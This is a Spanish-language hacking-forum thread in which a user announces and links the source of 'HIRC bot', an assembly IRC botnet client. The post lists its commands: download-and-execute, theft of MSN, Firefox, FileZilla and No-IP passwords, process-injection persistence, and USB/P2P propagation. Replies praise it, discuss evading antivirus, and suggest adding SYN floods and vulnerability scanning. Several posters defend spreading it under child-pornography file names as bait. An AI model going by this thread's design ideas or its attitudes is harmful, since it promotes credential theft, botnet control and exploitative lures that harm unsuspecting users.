Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: YST en 14 Septiembre 2009, 20:05 pm



Título: [Source] HIRC bot v1.1b
Publicado por: YST en 14 Septiembre 2009, 20:05 pm
HIRC BOT v1.1 beta


  • ¿Que es ?
    HIRC BOT es un Bot IRC programado en ASM con propagacion USB y P2P(emule y ares )
  • ¿Cuales comandos tiene?
    Código
    1. ;######################################################
    2. ;######################################################
    3. ;#              COMANDOS                              #
    4. ;#!CC <canal> <clave>  = Se conecta a otro canal      #
    5. ;#!RB                  = Reinicia el server           #
    6. ;#!SB                  = Saca el bot                  #
    7. ;#!SC                  = Nos desconectamos del canal. #
    8. ;#!IP                  = Obtiene la IP del BOT        #
    9. ;#!SO                  = Obtiene el sistema operativo #
    10. ;#!PN                  = Obtiene el nombre del PC     #
    11. ;#!UN                  = Obtiene el nombre de usuario #
    12. ;#!HL                  = Obtiene las unidades del PC  #
    13. ;#!IG                  = Obtiene informacion del PC   #
    14. ;#!LE                  = Obtiene el idioma del PC     #
    15. ;#!DF <URL>            = Descarga un archivo.         #
    16. ;#!CM                  = Obtiene claves del MSN       #
    17. ;#!CF  <URL>(opcional) = Claves Firefox               #
    18. ;#!ZF                  = Claves FileZilla             #
    19. ;#!CP <PHP>            = Cambia el nick a el pais     #
    20. ;#!CN                  = Obtiene claves del No-IP.    #
    21. ;#!RA  <File>          = Se propaga por p2p.         #
    22. ;######################################################
    23. ;######################################################  
    24.  

  • ¿Para que son el resto de los archivos?
    Son para el comando "!CC" que utiliza el PHP para detectar el pais de que es el BOT

  • Pequeña explicación sobre cositas del BOT
    El bot crea un proceso del notepad donde inyecta codigo para que si el se cerrara el proceso del BOT se vuelva a abrir.

    El BOT tiene propagacion p2p por Emule y ARES.

    Las claves del Firefox son de la Ultima version el 3.5.x .

    Hay un comando que es el !CD que obtiene las claves del DynDNS que se me olvido ponerlo ;) .
    Descargar (http://www.megaupload.com/?d=KA20W9S1)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Karcrack en 14 Septiembre 2009, 20:09 pm
Sin duda un gran trabajo ;D

Lo añado a la recopilacion ;)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Jaixon Jax en 15 Septiembre 2009, 00:15 am
  :o  :o

  Ups  :¬¬ Suena Muy Bien  :rolleyes: .

  Descargando....   :)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Erik# en 15 Septiembre 2009, 00:18 am
Si es de YST [ironia]debe de ser de mala calidad[/ironia]


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Jaixon Jax en 15 Septiembre 2009, 00:33 am
 ;D

  Como yo tengo a Chuck Norris de Anti Virus el exe fue exterminado en el acto  :-* sera ver con que artilujio lo pongo FUD.

  Ahora lo que me inquieta es pòr que salto mi AV dado a que tengo un AV Original   :huh: sera por heuristica o definitivamente la casa AV bajo el bicho y lo firmo  :¬¬ por que hasta el link me lo queria blockear el AV  :silbar: .

  Bueno lo mas importante para mi es el code .  ;D Gracias.


  Saludos....


Título: Re: [Source] HIRC bot v1.1b
Publicado por: [Zero] en 15 Septiembre 2009, 01:01 am
Eres un crack tio, gracias por compartir el code, me esperan horas de lectura  ;).

;-)

Saludos


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Karcrack en 15 Septiembre 2009, 01:11 am
Si es de YST [ironia]debe de ser de mala calidad[/ironia]
No! Si es de YST ha de ser humilde!

Hulmilde Software ™ :P


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 15 Septiembre 2009, 01:23 am
Si es de YST [ironia]debe de ser de mala calidad[/ironia]
No! Si es de YST ha de ser humilde!

Hulmilde Software ™ :P
La H es de Humilde  :xD


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Karcrack en 15 Septiembre 2009, 01:47 am
Ya decia yo que le faltaba algo :xD :xD


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Erik# en 15 Septiembre 2009, 14:19 pm
Si es de YST [ironia]debe de ser de mala calidad[/ironia]
No! Si es de YST ha de ser humilde!

Hulmilde Software ™ :P
La H es de Humilde  :xD

amén.

EDIT: 14:43 (- Hay algo que no me gusta del HIRC, podrias quitar eso de: Nenas de 12 años lesbianas, porfavor, no creo que encaje en el tema :( -)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Jaixon Jax en 15 Septiembre 2009, 15:05 pm
Citar
EDIT: 14:43 (- Hay algo que no me gusta del HIRC, podrias quitar eso de: Nenas de 12 años lesbianas, porfavor, no creo que encaje en el tema  -)

   :D De alguna manera se tiene que propagar y la manera mas rapida es la pornografia  :silbar: mas la infantil lamentablemente los archivos mas solicitados en la red p2p es el material porno y mas el exotico  :laugh: Tal vez seria mejor leer todos los archivos compartidos del directorio y sustituir uno con el coroto, pero eso es parte segundario del programa lo mas importante es el ver como trabajan los bots.


  Saludos.


Título: Re: [Source] HIRC bot v1.1b
Publicado por: skapunky en 15 Septiembre 2009, 15:15 pm
Si por ver el funcionamiento de un bot se debe enaltecer la pornografía infantil yo voto como mínimo que se borre ahora mismo éste tema.

Parece mentira la inmadurez de cierta gente  >:(.


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Jaixon Jax en 15 Septiembre 2009, 15:22 pm
Si por ver el funcionamiento de un bot se debe enaltecer la pornografía infantil yo voto como mínimo que se borre ahora mismo éste tema.

Parece mentira la inmadurez de cierta gente  >:(.

  No es para tanto  :silbar: yo tambien detesto la pornografia infantil  :P y por meso es bueno que estas cosas ataquen a los innumerables locos de la internet, con ponerle aun archivo ejecutable lolita.exe no lo hace material pedofilo  :silbar: alla el enfermo que lo ejecuta . Ademas solo seria cambiar tres lineas del source .  :-[


  Saludos....


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Karcrack en 15 Septiembre 2009, 16:58 pm
Si por ver el funcionamiento de un bot se debe enaltecer la pornografía infantil yo voto como mínimo que se borre ahora mismo éste tema.

Parece mentira la inmadurez de cierta gente  >:(.
Skapunky, mira desde otro punto de vista... las hijos de pu** que se creen que veran estas atrocidades se infectaran con el bot......


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 15 Septiembre 2009, 19:42 pm
Si por ver el funcionamiento de un bot se debe enaltecer la pornografía infantil yo voto como mínimo que se borre ahora mismo éste tema.

Parece mentira la inmadurez de cierta gente  >:(.
Espero que lo digas en broma :P .

Cada uno le pone los nombres con que quiere que se propague para eso di el source , esos son los nombre que ocupaba yo , lo siento si les duele la realidad pero la pornografia infantil es muy descargada por las redes p2p y en las propagaciones la idea es que infecten ;) .

Saludos


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Erik# en 15 Septiembre 2009, 19:52 pm
No duele la realidad, pero me parece un poco chocante.


Título: Re: [Source] HIRC bot v1.1b
Publicado por: ^DeMoN^ en 15 Septiembre 2009, 21:24 pm
Una pergunta el comando download, baja elarchivo y lo autoejecuta?

Se ve bueno lo tengo que probar.. yo sigo con los viejos rx xD

oye un consejo, hay una opcion en los rx que es la forma del nick que queres(COUNTRYNICK, OWNERNICK o algo asi xDDD).. que peude ser por pais o por el nombre de la maquina o un nombre aleatorio.. estaria bueno que lo tenga el tuyo tambien :D y lo que no vi fue una pass para los bots.. un login osea te hacen caso solo con el nickmaestro?

solo eso xD

saludos


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 16 Septiembre 2009, 00:59 am
Una pergunta el comando download, baja elarchivo y lo autoejecuta?

Se ve bueno lo tengo que probar.. yo sigo con los viejos rx xD

oye un consejo, hay una opcion en los rx que es la forma del nick que queres(COUNTRYNICK, OWNERNICK o algo asi xDDD).. que peude ser por pais o por el nombre de la maquina o un nombre aleatorio.. estaria bueno que lo tenga el tuyo tambien :D y lo que no vi fue una pass para los bots.. un login osea te hacen caso solo con el nickmaestro?

solo eso xD

saludos
El comando !DF baja el archivo y lo ejecuta :P

Lo de los se puede cambiar para que sea "El nick que quieras" + Numero X , el comando !CP mediante un PHP te cambia el nick a "Primera 2 letras del pais" + Numero X .

Sobre lo de hacer un login si quieres lo hago pero no lo veo necesario   :rolleyes:


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Erik# en 16 Septiembre 2009, 13:46 pm
Xd, si querer ejecute el hirc y ahora todo el rato no me deja cerrarlo si no quito el notepad.exe xd


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Jeferi en 16 Septiembre 2009, 15:21 pm
Muchas gracias, justo estaba buscando un bot !

Un saludo


Título: Re: [Source] HIRC bot v1.1b
Publicado por: ^DeMoN^ en 17 Septiembre 2009, 00:09 am
Una pergunta el comando download, baja elarchivo y lo autoejecuta?

Se ve bueno lo tengo que probar.. yo sigo con los viejos rx xD

oye un consejo, hay una opcion en los rx que es la forma del nick que queres(COUNTRYNICK, OWNERNICK o algo asi xDDD).. que peude ser por pais o por el nombre de la maquina o un nombre aleatorio.. estaria bueno que lo tenga el tuyo tambien :D y lo que no vi fue una pass para los bots.. un login osea te hacen caso solo con el nickmaestro?

solo eso xD

saludos
El comando !DF baja el archivo y lo ejecuta :P

Lo de los se puede cambiar para que sea "El nick que quieras" + Numero X , el comando !CP mediante un PHP te cambia el nick a "Primera 2 letras del pais" + Numero X .

Sobre lo de hacer un login si quieres lo hago pero no lo veo necesario   :rolleyes:

Bueno me gusto xDD

lo del login lo digo mas que nada por seguridad por que sino viene alguien con tu nick y se los lleva tranquilamente.. o le baja su ejecutable tranquilamente.. claroque tiene que tener el nickmaestro.. pero si se lo sabe.. puff


Pero si lo estuve probando y me andubo perfecto :D

10 puntos!

Saludos


Título: Re: [Source] HIRC bot v1.1b
Publicado por: kingo en 17 Septiembre 2009, 03:21 am
Hola alguien me puede ayudar no se como funciona me pueden explicar o dar un manual-


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 17 Septiembre 2009, 03:24 am
Hola alguien me puede ayudar no se como funciona me pueden explicar o dar un manual-

Tienes que por lo menos saber ensamblar en fasm y tener un poco de idea de programación para poder ocuparlo :P justamente publique el codigo sin ninguna interfas para que no cualquiera lo pudiera usar ;)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: ^DeMoN^ en 18 Septiembre 2009, 07:14 am
Me salio un error xDD

Puse !CP AR no se que estaba probando.. y me sale HIRCBOT.exe a detectado un problema debe cerrarse...

igual se vuelve a iniciar..

Despues la opcion de quitar el bot pense que era removerlo...

pero nop xDD

Se descoencta 5 seg.. y vuelve a entrar.

Esta muy lindo el bot.. pero le veo algunas opciones de mas.. y otras que le faltan..

por ej:

;#!IP                  = Obtiene la IP del BOT        #
;#!SO                  = Obtiene el sistema operativo #
;#!PN                  = Obtiene el nombre del PC     #
;#!UN                  = Obtiene el nombre de usuario #
;#!HL                  = Obtiene las unidades del PC  #
;#!LE                  = Obtiene el idioma del PC     #


Si con un solo comando ya tenemos todos

;#!IG                  = Obtiene informacion del PC   #


Pero me gusto ya que no tnego que bajarme el c++ para usar el rx xDDD

Estaria bueno tambien un scaner de vulnerabilidades.. que scaneo cierto rango buscando cierta vuln.. y ahi le meta el archivo con el bot..

Bueno solo eso che

ya me retiro a dormir saludos


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 18 Septiembre 2009, 21:18 pm
Si el !SB lo tengo que arreglar por qe se me olvido matar el notepad antes :xD


Título: Re: [Source] HIRC bot v1.1b
Publicado por: RaToNCiTo en 12 Diciembre 2009, 00:22 am
Sres, buenas, de donde lo puedo bajar? saludos


Sorry, no habia leido bien.. bajando :P

PD: se le puede agregar modulo syn? Saludos!


Título: Re: [Source] HIRC bot v1.1b
Publicado por: [L]ord [R]NA en 12 Diciembre 2009, 05:46 am
Sres, buenas, de donde lo puedo bajar? saludos


Sorry, no habia leido bien.. bajando :P

PD: se le puede agregar modulo syn? Saludos!

Si sabes programar en ASM y sabes como hacerlo puedes hacer lo que quieras.


Título: Re: [Source] HIRC bot v1.1b
Publicado por: E.P.I. en 13 Diciembre 2009, 20:50 pm
(Me parece que ES UN GRAN TRABAJO) Eres un maestro pero, no es por fastidiar pero el AV (Kaspersky) me detecta virus...

PD: Repito, ¡eres un maestro!


Título: Re: [Source] HIRC bot v1.1b
Publicado por: [L]ord [R]NA en 14 Diciembre 2009, 02:41 am
(Me parece que ES UN GRAN TRABAJO) Eres un maestro pero, no es por fastidiar pero el AV (Kaspersky) me detecta virus...

PD: Repito, ¡eres un maestro!

El source tiene meses liberado, es comun que ya se detecte


Título: Re: [Source] HIRC bot v1.1b
Publicado por: LixKeÜ en 14 Diciembre 2009, 04:45 am
 Muy bueno....saludos :)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 14 Diciembre 2009, 19:59 pm
Esta era una versión vieja del que vendia :P Pero tube problemas con la policia me quedue sin HD y sin mis sources :xD A ver si me animo luego de hacer el Bot que estoy haciendo ah corregirles los errores que se que tiene este source y saco la version 1.2 :P


Título: Re: [Source] HIRC bot v1.1b
Publicado por: Isótopo en 14 Diciembre 2009, 21:03 pm
Esta era una versión vieja del que vendia :P Pero tube problemas con la policia me quedue sin HD y sin mis sources :xD A ver si me animo luego de hacer el Bot que estoy haciendo ah corregirles los errores que se que tiene este source y saco la version 1.2 :P

Que te paso tio?? Por cierto gran trabajo ;)


Título: Re: [Source] HIRC bot v1.1b
Publicado por: YST en 14 Diciembre 2009, 21:12 pm
Esta era una versión vieja del que vendia :P Pero tube problemas con la policia me quedue sin HD y sin mis sources :xD A ver si me animo luego de hacer el Bot que estoy haciendo ah corregirles los errores que se que tiene este source y saco la version 1.2 :P

Que te paso tio?? Por cierto gran trabajo ;)

Estupideces que uno le hace a los partidos politicos y se enojan :xD


Título: Re: [Source] HIRC bot v1.1b
Publicado por: [L]ord [R]NA en 21 Diciembre 2009, 04:58 am
Esta era una versión vieja del que vendia :P Pero tube problemas con la policia me quedue sin HD y sin mis sources :xD A ver si me animo luego de hacer el Bot que estoy haciendo ah corregirles los errores que se que tiene este source y saco la version 1.2 :P

Que te paso tio?? Por cierto gran trabajo ;)

Estupideces que uno le hace a los partidos politicos y se enojan :xD

xD no des tanta explicacion que todos tenemos una historia


Título: Re: [Source] HIRC bot v1.1b
Publicado por: ThE PrInCiPiaNT en 23 Junio 2011, 06:20 am
Bueno en primer lugar saludo a todos y soy principiante pero el link aparece roto como hago? >:(